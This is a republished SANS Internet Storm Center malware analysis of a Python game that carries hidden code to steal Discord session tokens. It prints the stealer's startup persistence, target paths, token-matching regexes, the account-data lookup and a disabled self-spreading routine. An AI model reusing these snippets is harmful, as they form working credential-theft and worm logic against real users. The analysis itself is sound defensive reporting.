Shall We Play a Game?, (Fri, Dec 22nd)

This post was originally published on this site

Our youngest readers won’t probably not get the point with this quote, it’s from the 1983 movie “WarGames”[1]. I used this subject because I found yesterday a small game in Python that offers not only some fun but also malicious code that will exfiltrate your browser data!

The file is called “Dimension_Lands_10 (1).py” (SHA256: 8b9f750310115110cad2716ab7496344d543dd437e4452c5eafbe11aee28f492).

In a previous diary, I mentioned a malicious Python script based on a Tk interface[3]. It seems to become popular because this new one does the same with a nice window. Compared to the other one, it has a great advantage: it’s a game and will attract more potential victims. People like small games to spend time during meetings.

And the game is properly working!

The attacker did not reinvent the wheel! The game code is available for free[4] on the Internet. Some malicious code has been added to exfiltrate data from Disocrd sessions.

First, persistence is implemented:

try:
    shutil.copyfile(__file__, ROAMING + "MicrosoftWindowsStart MenuProgramsStartupsystem.py")
except:
    pass

Then, the malware searches for the following applications:

PATHS = {
    "Discord"           : ROAMING + "Discord",
    "Discord Canary"    : ROAMING + "discordcanary",
    "Discord PTB"       : ROAMING + "discordptb",
    "Google Chrome"     : LOCAL + "GoogleChromeUser DataDefault",
    "Opera"             : ROAMING + "Opera SoftwareOpera Stable",
    "Brave"             : LOCAL + "BraveSoftwareBrave-BrowserUser DataDefault",
    "Yandex"            : LOCAL + "YandexYandexBrowserUser DataDefault"
}

It focuses on LevelDB files:

def gettokens(path):
    path += "Local Storageleveldb"
    tokens = []
    for file_name in os.listdir(path):
        if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
            continue
        for line in [x.strip() for x in open(f"{path}{file_name}", errors="ignore").readlines() if x.strip()]:
            for regex in (r"[w-]{24}.[w-]{6}.[w-]{27}", r"mfa.[w-]{84}"):
                for token in findall(regex, line):
                    tokens.append(token)
    return tokens

What are LevelDBs[4]?

LevelDB is an on-disk key-value store where the keys and values are both arbitrary blobs of data. Each LevelDB database occupies a folder on the file system. The folder will contain some combination of files named “CURRENT”, “LOCK”, “LOG”, “LOG.old” and files named “MANIFEST-######”, “######.log” and “######.ldb” where ###### is a hexadecimal number showing the sequence of file creation (higher values are more recent). The “.log” and “.ldb” files contain the actual record data; the other files contain metadata to assist in reading the data in an efficient manner.

The regex in the code is used to search for saved sessions:

r"[w-]{24}.[w-]{6}.[w-]{27}", r"mfa.[w-]{84}"

If sessions are found, the script connects to Discord to retrieve the victim's data:

def getuserdata(token):
    try:
        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
    except:
        pass

The following data are processed:

username = user_data["username"] + "#" + str(user_data["discriminator"])
user_id = user_data["id"]
avatar_id = user_data["avatar"]
avatar_url = getavatar(user_id, avatar_id)
email = user_data.get("email")
phone = user_data.get("phone")
password = user_data.get("password")
nitro = bool(user_data.get("premium_type"))
billing = bool(has_payment_methods(token))

Irony, all details are exfiltrated to… Discord too!

The last interesting finding is a self-spread feature. It will send itself to newly compromised Discord users/sessions:

if self_spread:
    for token in working:
        with open(argv[0], encoding="utf-8") as file:
        content = file.read()
        payload = f'-----------------------------325414537030329320151394843687nContent-Disposition: form-data; name="file"; filename="{__file__}"nContent-Type: text/plainnn{content}n-----------------------------325414537030329320151394843687nContent-Disposition: form-data; name="content"nnserver crasher. python download: https://www.python.org/downloadsn-----------------------------325414537030329320151394843687nContent-Disposition: form-data; name="tts"nnfalsen-----------------------------325414537030329320151394843687--'
        Thread(target=spread, args=(token, payload, 7500 / 1000)).start()

But, in the version I discovered, it was disabled. For debugging purposes?

def spread(token, form_data, delay):
    return # Remove to re-enabled
    for friend in getfriends(token):
        try:
            chat_id = getchat(token, friend["id"])
            send_message(token, chat_id, form_data)
        except Exception as e:
            pass
        sleep(delay)

Conclusion: Be careful with scripts that promise to be a game or a funny app. They may deliver more "fun" then expected!

[1] https://www.imdb.com/title/tt0086567/
[2] https://www.virustotal.com/gui/file/8b9f750310115110cad2716ab7496344d543dd437e4452c5eafbe11aee28f492/details
[3] https://isc.sans.edu/diary/Malicious+Python+Script+with+a+TCLTK+GUI/30478
[4] https://pythondex.com/bouncing-ball-game-in-python
[5] https://www.cclsolutionsgroup.com/post/hang-on-thats-not-sqlite-chrome-electron-and-leveldb

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.